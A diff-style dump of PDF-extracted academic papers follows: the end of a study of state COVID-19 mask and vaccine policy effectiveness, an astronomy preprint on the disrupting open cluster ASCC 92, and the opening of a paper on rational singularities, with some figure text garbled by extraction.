+0.1074
+max vaccine (R~2 = 0.4365)
+public health
+0.02445
+0.07203
+immigration
+-0.09829
+0.334
+total vaccine (R*2 = 0.7319)
+public health
+0.02914
+0.02472
+immigration
+-0.1154
+0.2248policy.effective.rate
+factor
+estimate
+p.value
+max mask
+population density
+-0.003014
+0.0572
+politics (R)
+0.8419
+0.0857
+hospital bed
+0.5753
+0.0591
+total mask
+population density
+-0.003032
+0.0555
+politics (R)
+1.093
+0.0208
+percent of population over 65
+-0.2527
+0.0182
+hospita bed
+0.5235
+0.0889
+max vaccine
+immigration
+-0.08807
+0.0529
+hospital bed
+0.5426
+0.0332
+total vaccine
+immigration
+-0.1027
+0.0218
+hospital bed
+0.556
+0.0286
+public health
+0.02024
+0.0547 
+ 
+ 
+policy during July when Republican-led states had a 
+higher positive-testing and COVID-19 case diagnoses 
+than democracy-led states overall. [28] Thus, higher 
+infection proportion before mask policy is issued might 
+at least partially explain why Republican-led states have 
+a larger gap between prediction curve and actual curve 
+have which leads to a higher effective rate. With the 
+decrease in infection, states with a larger number of 
+hospital beds per 1000 people will be recovered from 
+111e. Thus, these states have a higher mask policy 
+effective rate. 
+For vaccine policy effective rate, the number of 
+hospital beds per 1000 people and public health funding 
+per person have a positive impact on it. The positive 
+impact from the number of hospital beds per 1000 people 
+will be likely due to similar reasons above. Additionally, 
+vaccination will mitigate the symptom and recovery time. 
+States with higher public health funding per person will 
+be more likely to distribute the vaccine better, as they 
+may have more vaccines available overall, so they have a 
+higher vaccine policy effective rate. However, percent of 
+immigration has a negative impact on the vaccine policy 
+effective rate. A possible reason for that is vaccine sites 
+across the U.S. require some form of identification, a 
+requirement that many undocumented immigrates do not 
+have, so the vaccine is less efficient for states with a 
+higher immigration population. [29]   
+6 CONCLUSION 
+  The current research was designed to examine the 
+effectiveness of different policies. Significant differences 
+in policy effective rates of the same policy for different 
+states have been identified. Several reasons may help 
+interpret these findings such as the positive impact from 
+the number of hospital beds per 1000 people, public 
+health funding per person, and a negative impact from 
+percent of immigration for vaccine policy effective rate; 
+additionally, the positive impact from the number of 
+voters in each state predominantly choosing Republican 
+Party, and the number of hospital beds per 1000 people, 
+and a negative impact from population density and 
+percent of the population over 65 for mask policy 
+effective rate. 
+This research uses a new method to sheds light on the 
+difference in policy effective rate between states of the 
+same policy and the correlation between policy effective 
+rate and different factors. It can be served as a reference 
+for future covid policy. 
+  Due to the lack of enough data, this research only 
+includes 26 states for vaccine policy and 19 states for 
+mask policy, which negatively affects the significance of 
+all the potential factors. If the data for all 55 states are 
+available, the linear model will be improved, and it is 
+more likely to find more significant factors that impact 
+the policy effective rate. Also, the prediction curve in this 
+research is based on the eSIR model. Although it has been 
+proved to be an effective model for predicting short-
+range infection proportion, the prediction is not a hundred 
+percent accurate. It is still possible that the difference 
+between the prediction curve and the actual curve is 
+partly due to the uncorrected prediction by the eSIR 
+model. The results will be more promising if a linear 
+regression model is applied to the change in real-time 
+reproduction 
+number 
+and 
+get 
+similar 
+results. 
+Additionally, this research only computed the policy 
+effective rate based on infection proportion. However, 
+the vaccine has also been proved to reduce the death rate, 
+so redoing all the processes based on death proportion is 
+a possible choice for future research.
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+

KtE2T4oBgHgl3EQfpwgn/content/tmp_files/2301.04031v1.pdf.txt

@@ -0,0 +1,868 @@
+MNRAS 000, 1–7 (2022)
+Preprint 11 January 2023
+Compiled using MNRAS LATEX style file v3.0
+Catching a Milky Way open cluster in its last breath
+Andr´es E. Piatti1,2⋆
+1Instituto Interdisciplinario de Ciencias B´asicas (ICB), CONICET-UNCUYO, Padre J. Contreras 1300, M5502JMA, Mendoza, Argentina
+2Consejo Nacional de Investigaciones Cient´ıficas y T´ecnicas, Godoy Cruz 2290, C1425FQB, Buenos Aires, Argentina
+Accepted XXX. Received YYY; in original form ZZZ
+ABSTRACT
+Theoretical models have suggested peculiar velocity dispersion profiles of star clusters
+facing dissolution. They predicted that, besides bound stars that still belong to the
+star cluster, and unbound ones already stripped off, there is an intermediate popu-
+lation of stars that having acquired the enough energy to escape the cluster are still
+within the cluster Jacobi radius. Both, potential escapers and unbound stars, show
+hot kinematics, not observed along tidal tails of star clusters. We report on the first
+evidence of an open cluster with stars crossing such a transitional scenario, namely:
+ASCC 92. The open cluster gathers nearly 10 percent of its initial total mass, and is
+moving toward Galactic regions affected by higher interstellar absorption. Precisely,
+the obscured appearance of the cluster could have hampered disentangling its true
+internal dynamical evolutionary stage, previously.
+Key words: Galaxy: open clusters and associations: individual: ASCC 92 – methods:
+data analysis
+1
+INTRODUCTION
+The All-Sky Compiled Catalogue of more than 2.5 million
+stars (ASCC-2.5 Kharchenko 2001) was used by Kharchenko
+et al. (2005) to identify known open clusters. They devel-
+oped an iterative pipeline to be used in that search, which
+they took advantage to discover other 109 new open clus-
+ters. We focus here on ASCC-92, one of those new open
+clusters, that was also discovered from an analysis of the
+Tycho 2 catalogue (Høg 2000) and the Digitized Sky Survey
+(DSS) plates, and named Alessi 31 (Alessi et al. 2003; Kron-
+berger et al. 2006). The cluster was also named MWSC 2723
+by Kharchenko et al. (2012). Surprisingly, the cross-match
+of the cluster names was performed for the first time very
+recently by Liu & Pang (2019). Indeed, there have been sev-
+eral studies on the cluster without acknowledging those that
+relies on different cluster names.
+ASCC-92 caught our attention while analyzing it from
+the Gaia DR3 (Gaia Collaboration et al. 2016; Babusiaux
+et al. 2022) database, because some of the derived cluster’s
+properties hinted at, as far as we are aware, to be the first
+observed star cluster confirming the theoretical predictions
+by K¨upper et al. (2010). K¨upper et al. (2010) performed a
+comprehensive set of N-body simulations to study the evolu-
+tion of surface density and velocity dispersion profiles of star
+clusters as a function of time until cluster dissolution. They
+modelled clusters for an interval of 4 Gyr, if they did not dis-
+⋆ E-mail: andres.piatti@unc.edu.ar
+solve before reaching this age. without stellar evolution and
+without primordial binaries. They found that potential esca-
+pers - stars energetically unbound located inside the Jacobi
+radius (rJ) - are more numerous than bound stars at dis-
+tances from the cluster centre >∼ 0.5×rJ, and that beyond
+∼ 0.7×rJ they compose nearly the whole cluster population.
+They also showed from the fit of nearly 104 computed sur-
+face density profiles that it is possible to derive reliable rJ
+values using King models for extended clusters on nearly cir-
+cular orbits, and that by including to them three more free
+parameters, it is possible to derive rJ values with an accu-
+racy of 10 per cent for clusters in eccentric orbits. Likewise,
+they studied tidal debris in the cluster’s outskirts and found
+that they are well represented by a power law with slope of
+-4 to -5, while close to apogalacticon it turns significantly
+shallower (≤ -1).
+Numerical simulations of the 3D distribution of stars
+in clusters with tidal tails have been previously developed,
+for instance, by Kharchenko et al. (2009). They have shown
+to provide a satisfactory representation of stars along the
+leading and trailing tails in the Hyades (R¨oser & Schilbach
+2019a) and Preasepe (R¨oser & Schilbach 2019b), respec-
+tively, uncovered using Gaia data. Likewise, AMUSE (Porte-
+gies Zwart & McMillan 2018, and references therein), an
+astronomical multipurpose software environment that sim-
+ulates the evolution of a Hyades-like cluster on a relistic
+orbit, has been recently used to confirm long tails in the
+Hyades (Jerabkova et al. 2021) discovered from Gaia data,
+while the N-body code PETAR (Wang et al. 2020) com-
+© 2022 The Authors
+arXiv:2301.04031v1  [astro-ph.GA]  10 Jan 2023
+
+2
+Andr´es E. Piatti
+bined with GALPY (Bovy 2015), was employed by Wang &
+Jerabkova (2021) to study the long-term evolution of young
+open clusters and their tidal streams. As can be seen, the
+simulations by K¨upper et al. (2010) stands out in the sense
+that they predict a particular stage in the cluster internal
+dynamical evolution, rather than the existence of tidal tails.
+In this work, we carried out a thorough analysis of
+ASCC 92 not easy handled open cluster. We discovered that
+it is entering into an interstellar cloud and, more impor-
+tantly, it is facing its last breath before total disruption.
+As far as we are aware, there were not studied open clus-
+ters cautch in such a final evolutionary stage. Moreover, the
+present results provide the first evidence confirming theoreti-
+cal speculations on the bound/unbound conditions of cluster
+stars from the analysis of their total energies. In Section 2 we
+describe our analysis and derive the cluster fundamental pa-
+rameters, while in Section 3 we discuss the obtained results
+to the light of previous studies on the cluster and uncover
+the real disrupting cluster stage. Section 4 summarizes the
+main conclusions of this work.
+2
+DATA ANALYSIS
+Machine learning techniques have become a powerful tool for
+discovering new open clusters using large databases (Hunt
+& Reffert 2021; Jaehnig et al. 2021; Hao et al. 2022; Castro-
+Ginard et al. 2022). We tried to recognize star members of
+ASCC 92 using the widely recommended HDBSCAN (Hi-
+erarchical Density-Based Spatial Clustering of Applications
+with Noise, Campello et al. 2013) Gaussian mixture model
+technique (Hunt & Reffert 2021). Cluster stars were recov-
+ered after extensively trying with different groups of search-
+ing variables on the Gaia DR3 (Gaia Collaboration et al.
+2016; Babusiaux et al. 2022) database. Indeed, we firstly
+used only positions (RA, Dec.) as searching variables, and
+did not have success in identifying the bulk of the clus-
+ters members. With the aim of improving the clustering
+search, we then included proper motions, and the results
+did not improve the previous performance. We then con-
+strained the search to stars located inside a circle of 50′
+centred on the cluster, G < 18 mag, and proper motion cen-
+tred on (pmra,pmdec) = (-1.18,-4.15) mas/yr and within a
+circle of 0.4 mas/yr. Having the cluster area and, particu-
+larly, the proper motions constrained for a successful clus-
+tering search, HDBSCAN carried out a satisfactory search.
+The outcome of the position-proper motion driven search
+is shown in Fig. 1. As can be seen, the resulting cluster
+colour-magnitude diagram (CMD) is affected by differential
+reddening.
+Recently, Cantat-Gaudin et al. (2018) recovered the
+largest number of cluster members identified up to date,
+185, using the Unsupervised Photometric Membership As-
+signment in Stellar Clusters (UPMASK Krone-Martins &
+Moitinho 2014) on Gaia DR2 data. We provide a compar-
+ison analysis between their results and the present ones in
+the Appendix. However, we refer the reader to the study
+of Hunt & Reffert (2021), who carried out a sound com-
+parison of the performance of different clustering searching
+algorithms, and described advantages and disadvantages of
+them.
+We used different Milky Way reddening map models
+through the GALExtin1 interface (Amˆores et al. 2021) to
+obtain the mean interstellar reddening along the line of sight
+of the cluster, and surprisingly realised of the wide range of
+mean E(B −V ) values retrieved, namely, 1.09 mag (Schlegel
+et al. 1998); 0.28 mag (Drimmel et al. 2003); 0.15-1.83 mag
+(Amˆores & L´epine 2005); 4.9 mag (Marshall et al. 2006); 1.05
+mag (Planck Collaboration et al. 2014); 1.11 mag (Schlafly
+et al. 2014); and 0.67 mag (Chen et al. 2019), respectively.
+Since the reddening maps of Chen et al. (2019) were built
+specifically for Gaia bandpasses, and have better spatial res-
+olution 6 arcmin than other reddening maps, we adopted
+them for interpolating individual reddening values for the
+selected cluster stars with membership probabilities P > 70
+percent and corrected their G magnitudes and BP − RP
+colours using the total to selective absorption ratios given
+by Chen et al. (2019). The absorption uncertainties (σ(AG)
+span from 0.003 up to 0.020 mag, with an average of 0.010
+mag at any AG interval.) The reddening corrected cluster
+CMD is shown in Fig. 2, with stars coloured according to
+their E(B − V ) values. Note that the spatial resolution of
+the reddening map allowed the detection of differential red-
+dening (see Fig. 1).
+In order to derive the cluster age and metallicity we fit-
+ted theoretical isochrones computed by Bressan et al. (2012,
+PARSEC v1.2S2) and the Automated Stellar Cluster Anal-
+ysis code (ASteCA, Perren et al. 2015). which explored the
+parameter space of synthetic CMDs through the minimiza-
+tion of the likelihood function defined by Tremmel et al.
+(2013, the Poisson likelihood ratio (eq. 10)) using a paral-
+lel tempering Bayesian MCMC algorithm, and the optimal
+binning Knuth (2018)’s method. Uncertainties in the result-
+ing age and metallicity were estimated from the standard
+bootstrap method described in Efron (1982). While running
+ASteCA, we used the mean cluster distance obtained from
+the cluster member stars’ parallaxes. ASCC 92 turned out
+to be a Hyades-like aged open cluster with a solar metal con-
+tent. Table 1 lists all the derived parameters, while Fig. 2
+illustrates the matching performance of an isochrone with
+the derived age and metallicity of ASCC 92. Table 1 aslo
+summarizes the different works carried out on the cluster
+under different cluster names, for comparison purposes.
+From Gaia DR3 coordinates, proper motions, paral-
+laxes, and radial velocities of cluster members, we com-
+puted Galactic coordinates (X, Y, Z) and space velocities
+(VX, VY , VZ) employing the Astropy3 package (Astropy Col-
+laboration et al. 2013, 2018), which simply required the in-
+put of Right Ascension, Declination, parallaxes, proper mo-
+tions and radial velocity of each star. We adopted the de-
+fault values for the Galactocentric coordinate frame, namely
+: ICRS coordinates (RA, DEC) of the Galactic centre =
+(266.4051◦, -28.936175◦); Galactocentric distance of the Sun
+= 8.122 kpc, height of the Sun above the Galactic midplane
+= 20.8 pc; and solar motion relative to the Galactic centre =
+(12.9, 245.6, 7.78) km/s. The position of the Sun is assumed
+to be on the X axis of the final, right-handed system. That
+is, the X axis points from the position of the Sun projected
+to the Galactic midplane to the Galactic centre - roughly
+1 http://www.galextin.org/
+2 http://stev.oapd.inaf.it/cgi-bin/cmd
+3 http://www.astropy.org
+MNRAS 000, 1–7 (2022)
+
+A disrupting open cluster
+3
+Table 1. Properties of ASCC-92 (Alessi 31).
+Ref.
+radius
+E(B − V )
+distance
+log(age /yr)
+[Fe/H]
+pmra
+pmdec
+RV
+(arcmin)
+(mag)
+(pc)
+(dex)
+(mas/yr)
+(mas/yr)
+(km/s)
+ASCC-92
+1
+18
+0.25
+650
+9.01
+-7.68±0.49
+-4.91±0.59
+2
+13.4
+0.312
+644
+9.08
+-6.63±0.33
+-5,53±0.33
+3
+22.7
+678±20
+8.54±0.02
+0.25
+-1.157±0.306
+-4.115±0.280
+Alessi 31
+4
+-5.29±3.78
+-2.16±4.67
+5
+-5.26±5.45
+-2.20±6.52
+6,7,8
+0.56
+663.9±1.5
+8.38
+-1.164±0.225
+-4.122±0.206
+5.36±1.95
+9
+0.45-0.92
+676.0±10.0
+8.85±0.05
+0.00±0.10
+-1.153±0.128
+-4.201±0.115
+0.98±9.81
+Ref.: (1) Kharchenko et al. (2005); (2) Kharchenko et al. (2013); (3) Liu & Pang (2019); (4) Dias et al. (2014); (5) Sampedro et al.
+(2017); (6) Cantat-Gaudin et al. (2018); (7) Soubiran et al. (2018); (8) Cantat-Gaudin et al. (2020); (9) this work.
+Figure 1. Relationships of astrometric and photometric parameters of stars in the field of ASCC 92. Points are from Gaia DR3, and those
+coloured according to the cluster membership probability P colour scale, are stars selected by HDBSCAN. Coloured symbols’ size in top
+panels is proportional to the star brightness.
+MNRAS 000, 1–7 (2022)
+
+25
+(mas/yr)
+4.0
+Dec.)
+0
+A(De
+4.2
+-25
+4.4
+-50
+25
+0
+-25
+-50
+-1.4
+-1.2
+-1.0
+A(R.A.)xcos(Dec.)()
+μ (mas/yr)
+1.8
+10.0
+(sew)
+1.6
+6
+12.5
+(ma)
+B 1.4
+G
+15.0
+1.2
+17.5
+12
+14
+16
+18
+1
+2
+m
+G (mag)
+BP-RP(mag)
+0
+20
+40
+60
+80
+100
+P (%)4
+Andr´es E. Piatti
+Figure 2.
+CMD of stars with cluster membership probabilities
+P > 70 percent in the field of ASCC 92 according to HDBSCAN,
+coloured according to the individual E(B − V ) reddening values.
+Solid and dashed lines correspond to theoretical isochrones with
+a solar metallicity and log(t /yr) = 8.85 and 8.45, respectively.
+towards (l,b)= (0◦,0◦). The Y axis points roughly towards
+Galactic longitude l=90◦, and the Z axis points roughly to-
+wards the North Galactic Pole (b=90◦). Gaia Collaboration
+et al. (2022) extensively analysed the uncertainties in the
+Galactic coordinates as a function of the heliocentric dis-
+tance for stars with radial velocity measurements and found
+that at the ASCC 92 distance the relative errors are less than
+1.5 per cent. The spatial distribution of the cluster stars is
+depicted in Fig. 3, where they were on purpose coloured
+according to their individual E(B − V ) values, aiming at
+rebuilding the 3D reddening map.
+As for the space velocity components, they were trans-
+formed to the Vφ, Vθ, and Vr spherical components, and
+from them we computed the 3D dispersion velocity and
+anisotropy β, following the prescription described in Pi-
+atti (2019). We obtained eight 3D dispersion velocity and
+anisotropy profiles, respectively, using distance intervals of
+1.0, 1.5, 2.0, 2.5, 3.0, 3.5, 4.0 and 4.5 pc, where we calculated
+the values of these parameters. Then, we obtained the mean
+values and standard dispersions (error bars) as a function of
+the distance to the cluster centre (R) depicted in Fig. 3.
+3
+RESULTS AND DISCUSSION
+3.1
+Cluster’s fundamental parameters
+Thanks to the stringent Gaia DR3 data sets selection crite-
+ria applied (see a comprehensive overview in Hunt & Ref-
+fert 2021), we identified by visual inspection in the vector
+point diagram cluster stars tightly gathered around pmra
+and pmdec values that resulted to be fair first guesses of the
+derived mean cluster proper motion, in excellent agreement
+with recent accurate estimates (Cantat-Gaudin et al. 2018;
+Soubiran et al. 2018; Cantat-Gaudin et al. 2020). Because
+of the highly variable reddening across the cluster field the
+combination of proper motions and parallaxes resulted to be
+a key strategic search procedure, that allowed us to recover
+the spatial distribution of cluster’s stars. Whenever sky po-
+sitions were used as HDBSCAN searching variables, we did
+not recover any clustering signature in the phase-space used.
+This means that genuine clustering detection is not always
+guaranteed by enlarging the number of searching variables
+(e.g. position, motion, photometry).
+Previous works on ASCC 92 did not report the exis-
+tence of variable interstellar absorption along the cluster line
+of sight, which we found it spans the E(B − V ) range from
+0.45 mag to 0.92 mag. We speculate with the possibility that
+previous age cluster estimates based on theoretical isochrone
+fit to the cluster CMD obtained much younger ages because
+of this effect. We superimposed, for comparison purposes,
+an isochrone of log(t /yr) = 8.45 (the average age estimate
+from Liu & Pang (2019) and Cantat-Gaudin et al. (2020)),
+which confirms that ASCC 92 is not such a younger cluster.
+That younger isochrone seems to better reproduce the ob-
+served cluster CMD of Fig. 1. Likewise, cluster ages larger
+than 1 Gyr (see Table 1) could be affected by field star con-
+tamination.
+3.2
+Cluster’s motion
+The mean cluster space velocity turned out to be (VX, VY ,
+VZ) = (16.8, 232.9, 9.4) km/s, which shows that ASCC 92
+is mainly moving following the rotation of the Milky Way. If
+we drew the star velocity vectors in Fig. 3, we would see that
+the respective arrows are nearly pointing parallel to the Y
+axis. According to the space distribution of E(B−V ) values,
+it would seem that ASCC 92 is moving toward a direction
+of increasing interstellar absorption. From Fig. 2, we esti-
+mated that E(B − V ) varies ∼ 0.2 mag in 5 pc. By using
+E(B−V ) = N/(5.8×1021 atoms/cm2 per mag) (Bohlin et al.
+1978), we got an HI column density of 1.16×1021 atoms/cm2,
+which along the 5 pc gives a space density of 75 atoms/cm3.
+This is a diffuse cloud density, or a density for the edge of a
+molecular cloud. The juxtaposition of the cluster next to a
+moderate density gas cloud might be expected if the cluster
+were young (age < 100 Myr), since the gas could be from
+the GMC where it formed. Chen et al. (2020, and references
+therein) compiled a large catalogue of molecular clouds with
+accurate distances within 4 kpc of the Milky Way disc. We
+did not find any molecular cloud that matches the ASCC 92
+locus, and did not find any expected motion signatures in
+the distribution of the space velocity vectors that accounts
+for a collision of the cluster with a molecular cloud. There-
+fore, a plausible interpretation could be that ASCC 92 is
+entering a more obscure region of the Milky Way disc.
+3.3
+Cluster’s internal kinematic
+We analysed the cluster internal kinematics and found that
+there is no signature of expansion along its major axis, which
+is contained mainly in the (X, Y ) plane, nor any expected
+pattern driven by Milky Way tidal forces (Meingast et al.
+2021). As can be seen in Fig. 3 (right panel), the cluster’s
+stars motion is isotropic from ∼ 6 pc outwards from the clus-
+ter centre, which means that there is no privileged direction
+of motion. Cluster stars placed in the inner ∼ 5 pc show
+the expected decreasing velocity dispersion profile of bound
+stars, while the velocity dispersion increases outwards. Such
+MNRAS 000, 1–7 (2022)
+
+8
+0.80
+0.75
+10
+0.70
+ 12
+0.65
+R
+0.60
+14
+0.55
+0.50
+16
+0.0
+0.5
+1.0
+1.5
+(BP -RP)oA disrupting open cluster
+5
+Figure 3. Left panel: Spatial distribution of cluster members in the Galactic (X, Y, Z) framework from the perspective of the cluster
+centre. Symbol size is proportional to the star brightness, colored according to the individual E(B − V ) values. Right panel: Derived 3D
+velocity dispersion (top) and anisotropy (bottom) for cluster members as a function of the distance to the cluster centre.
+a peculiar behaviour was predicted by K¨upper et al. (2010)
+and, as far as we are aware, it has not been observed until
+now.
+With the aim of verifying such a theoretical result, we
+computed the critical energy a star needs to escape the clus-
+ter and its total energy. For the calculation we used equa-
+tions 13 and 14 of K¨upper et al. (2010), adopting a Milky
+Way mass enclosed inside the cluster Galactocentric distance
+(7.66 kpc) of (1.0±0.2)×1011M⊙ (Bird et al. 2022). An up-
+per cluster mass was calculated from the cluster mass func-
+tion built from stars with membership probabilities > 70 per
+cent. We obtained the individual masses by interpolation in
+the adopted PARSEC v1.2S isochrone. We then fitted the
+resulting mass function with a Kroupa (2002)’s profile. Fig. 4
+shows the resulting mass function, with points and error bars
+representing the average and corresponding standard devi-
+ations of five mass functions built using mass intervals of
+log(M/M⊙) = 0.05 up to 0.30, in steps of 0.05. We finally
+integrated the fitted Kroupa (2002)’s mass function from the
+maximum observed mass down to 0.5M⊙. The upper cluster
+mass turned out to be 580 M⊙. We used alternatively ASteCA
+(see Sect. 2) for the construction of a large number of syn-
+thetic CMDs from which it finds the one which best resem-
+bles the observed CMD. Thus, the star cluster present mass
+and the binary fraction associated to that best representa-
+tive generated synthetic CMD are adopted as the best-fitted
+star cluster properties. ASteCA generates synthetic CMDs by
+adopting the initial mass function given by Kroupa (2002)
+and a minimum mass ratio for the generation of binaries
+of 0.5. The total observed star cluster mass and its binary
+fraction were set in the ranges 100-5000 M⊙ and 0.0-0.5, re-
+spectively. We derived a cluster mass of 566±110M⊙ with
+a binary fraction of 0.40±0.06, in excellent agreement with
+the above mass estimate.
+Fig. 5 shows the difference between the total and the
+critical star energy as a function of the distance to the cluster
+centre. The vertical line represents the derived rJ value (9.3
+pc). As can be seen, stars located at R < 5 pc are bound
+stars, in excellent agreement with the 3D velocity dispersion
+profile and calculated cluster anisotropy. Stars beyond rJ are
+Figure 4. Cluster mass function built using stars with membership
+probabilities > 70 per cent (see text for details). The red line
+represents the fitted Kroupa (2002)’s mass function.
+unbound stars, which show a hot kinematics, while those
+located at 5 < R (pc) < 9.3 are the stars that will next
+escape the cluster. We added the masses of stars enclosed
+within rJ, which resulted to be 56M⊙, nearly 10 percent of
+the upper cluster mass limit. This outcome suggests that
+ASCC 92 is facing its last breath.
+4
+CONCLUSIONS
+We used Gaia DR3 data to thoroughly analyse ASCC 92, a
+Milky Way open cluster with somewhat discrepant parame-
+ters in the literature. The analysis of the Gaia data resulted
+challenging while trying to employ the recommended Hierar-
+chical Density-Based Spatial Clustering of Applications with
+Noise, because the cluster is projected toward a region af-
+fected by noticeable differential reddening. Such a variable
+obscure appearance of ASCC 92 caused that clustering in
+MNRAS 000, 1–7 (2022)
+
+5
+0.8
+B-V)
+d
+N
+0.6 E
+5
+10
+5
+0
+O
+10
+-10
+0
+10
+20
+-5
+0
+5
+X (pc)
+Z (pc) (km/s)
+5
+03D
+0
+1.0
+0.5
+B
+0.0
+-0.5
+2
+3
+4
+5678910
+20
+R (pc)1.6
+1.4
+M
+log
+1.0
+0.8
+0.05
+0.10
+0.15
+0.20
+0.25
+0.30
+0.35
+log(M/M。)6
+Andr´es E. Piatti
+Figure 5. Relationship between the difference of total to critical
+star energy versus distance to the cluster centre. The vertical
+line represent the rJ. Symbols are coloured according to the star
+masses.
+the stellar distribution in the sky is not evident. Therefore,
+by using positions as clustering searching variables, we ar-
+rived to an unsatisfactory number of identification of cluster
+members. By imposing some constraints, namely, a limited
+region of the searchable area, mean proper motions and dis-
+persion in very good agreement with reliable estimates, we
+identified 171 stars with similar parallaxes that clearly stand
+out in the sky as an stellar aggregate. Differential redden-
+ing has not been used in previous analyses of the cluster’s
+CMD. This made the evolved region of the cluster Main Se-
+quence, and particularly, the Main Sequence turnoff, appear
+blurred. With the appropriate correction for differential red-
+dening, we obtained a cluster age 710 Myr older than recent
+estimates using Gaia data 240 Myr. The isochrone corre-
+sponding to the cluster age matches satisfactorily well the
+cluster Main Sequence along ∼ 7 mag.
+We also studied the cluster internal dynamical evolution
+and found that ASCC 92, while moving nearly in the Milky
+Way disc following Galactic rotation, does not show any sig-
+nature of internal expansion, rotation, or both combined. Its
+3D velocity dispersion profile and anisotropy reveal that in-
+nermost cluster members move following the expected kine-
+matics of bound stars, while those in the cluster outskirts
+show an isotropic kinematic behaviour, like unbound stars.
+ASCC 92 shows a kinematic transition region of increas-
+ing velocity dispersion and anisotropy of bound stars. These
+stars have the necessary energy to leave the cluster, but they
+are still within its boundaries. This peculiarity was predicted
+from N-body simulations by K¨upper et al. (2010). As fas as
+we are aware, ASCC 92 is the first studied clusters showing
+evidence of being populated by these kinematically peculiar
+stars.
+ACKNOWLEDGEMENTS
+I thank Enrico Vesperini, Bruce Elmegreen and Pavel
+Kroupa for insightful comments and suggestions. I thank
+the referee for the thorough reading of the manuscript and
+timely suggestions to improve it.
+This work has made use of data from the European
+Space Agency (ESA) mission Gaia (https://www.cosmos.
+esa.int/gaia), processed by the Gaia Data Processing and
+Analysis Consortium (DPAC, https://www.cosmos.esa.
+int/web/gaia/dpac/consortium). Funding for the DPAC
+has been provided by national institutions, in particular the
+institutions participating in the Gaia Multilateral Agree-
+ment.
+This research made use of Astropy, a community-
+developed core Python package for Astronomy.
+5
+DATA AVAILABILITY
+Data used in this work are available upon request to the
+author.
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+APPENDIX A: MEMBERSHIP CRITERIA
+For completeness purposes, we compared our membership
+probabilities with those obtained by Cantat-Gaudin et al.
+(2018). In order to cross-match both samples, we employed
+the names used by Gaia to identify stellar sources and the
+Astropy package. Left and right panels of Fig. A1 corre-
+spond to the star selection made in this work and those
+from Cantat-Gaudin et al. (2018), respectively. The symbols
+are coloured according to the membership probability (P)
+assigned by each study, while those encircled with a black
+open circle are the stars in common in both works. As can
+be seen, the number of stars with relatively high member-
+ship probabilities is larger in the present sample. The proper
+motions and mean parallaxes span wider ranges in Cantat-
+Gaudin et al. (2018)’s sample. We are confident in the more
+stringent membership selection criteria applied here and the
+use of stars with P > 70 per cent in the performed analy-
+ses. Note that the differential reddening is present in both
+CMDs. Finally, Table A1 lists the Gaia names of the stars
+identified in this work that are absent in the Cantat-Gaudin
+et al. (2018)’s sample.
+This paper has been typeset from a TEX/LATEX file prepared by
+the author.
+Figure A1.
+Relationships of Gaia parameters used in this work
+(left panels) and in Cantat-Gaudin et al. (2018) (right panels),
+respectively.
+MNRAS 000, 1–7 (2022)
+
+25
+25
+△(Dec.)
+△(Dec.)
+0
+0
+-25
+25
+25
+0
+-25
+25
+0
+-25
+A(R.A.)xcos(Dec.)()
+A(R.A.)xcos(Dec.)()
+-3.5
+-3.5
+(mas/yr)
+las/
+-4.0
+4.0
+-4.5
+上
+-4.5
+2.0
+-1.5
+-1.0
+-0.5
+2.0
+-1.5
+-1.0
+0.5
+μα (mas/yr)
+μ (mas/yr)C
+1.6
+1.6
+(mas
+(mas
+O
+B 1.4
+B 1.4
+O
+1.2
+1.2
+12
+14
+16
+12
+14
+16
+G (mag)
+G (mag)
+10.0
+10.0
+6
+12.5
+6
+(ma
+(ma
+12.5
+G
+15.0
+G15.0
+17.5
+17.5
+1
+2
+3
+1
+2
+3
+BP-RP(mag)
+BP-RP(mag)
+0
+20
+40
+60
+80
+100
+P (%)8
+Andr´es E. Piatti
+Table A1. Gaia IDs of stars selected in this work that are absent in the Cantat-Gaudin et al. (2018)’s sample.
+4151598199606998528
+4151598440125176192
+4151599677077307136
+4151581638213227264
+4151573872910627584
+4151703855796778752
+4151706535856460544
+4163590534247506560
+4151550675772022528
+4150045173804666368
+4151707704087604352
+4151559373100984704
+4151569917226328448
+4151572051844491904
+4150048884656569472
+4151584249552588416
+4151693715358252288
+4151599230392430848
+4151574285227815040
+4151561056728596480
+4151598818083966464
+4163589851366486144
+4151558342294713216
+4151584932425464832
+4151607408016493568
+4151546075881760640
+4163613628306249088
+4151548545465664000
+4151594591833995776
+4151611874782646656
+4151596614737584256
+MNRAS 000, 1–7 (2022)
+

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+arXiv:2301.04262v1  [math.AG]  11 Jan 2023
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+DONGHYEON KIM
+Abstract. In this paper, we generalize the notion of rational singularities for any
+reflexive sheaf of rank 1 and prove generalizations of standard facts about rational
+singularities. Moreover, we introduce the notion of (Bq+1) as a dual notion of well-
+known Serre’s notion of (Sq+1) and prove a theorem about q-birational morphism.
+1. Introduction
+In this paper, q ≥ 2 is an integer, k is any algebraically closed field and the charac-
+teristic of k can be positive. Any variety is quasi-projective, separated, finite type and
+integral scheme over k. Any divisor is assumed to be Cartier unless otherwise stated.
+For convenience, in the section, we assume that all reflexive sheaves are of rank 1.
+Throughout the paper, we will assume that for any normal variety X, there is a proper
+birational morphism f : X′ → X in which X′ is smooth and f is an isomorphism outside
+of the singular locus of X. We say such proper birational morphism is a resolution of
+X. If k is of characteristic 0, our assumption is the well-known Hironaka’s resolution of
+singularities and if k is of positive characteristic, only the threefold case is known to be
+positive (see [Hir64] and [Cut09]).
+If X is a variety, X has rational singularities if and only if for any resolution f : X′ →
+X, f∗OX′ = OX, Rif∗OX′ = 0 and Rif∗ωX′ = 0 for i ≥ 1 (see [Kol13], Definition 2.76).
+The notion of rational singularities plays an important role in algebraic geometry. For
+instance, if X is a variety with rational singularities and f : X′ → X is a resolution of
+X, we have
+Hi(X′, f ∗E) ∼= Hi(X, E)
+for any i ≥ 0 and any vector bundle E on X (see [KM98], Theorem 5.10). Hence, it is
+worth extending the notion to various settings.
+Previously, there are some works extending the notion of rational singularities. For
+example, for any normal variety X, Schwede and Takagi in [ST08] defined a notion of
+rational singularities for a pair (X, aλ) with an ideal sheaf a on X and λ > 0. In [Kov11]
+and [Kol13], Koll´ar and Kov´acs defined a notion of rational singularities for (X, D) with
+a reduced Weil divisor D on X. Both definitions are for pairs. In this paper, we will
+define an analogous notion of rational singularities for a reflexive sheaf F on a normal
+Date: January 12, 2023.
+2010 Mathematics Subject Classification. 14B05, 14E05, 14G17.
+Key words and phrases. rational singularities, q-birational morphism.
+1
+
+2
+DONGHYEON KIM
+variety X. Our definition is different from the definitions in [ST08], [Kov11] and [Kol13]
+because our notion is for a reflexive sheaf, not for a pair.
+Proposition 1.1 (See Proposition 4.1). Let X be any normal variety and F any reflexive
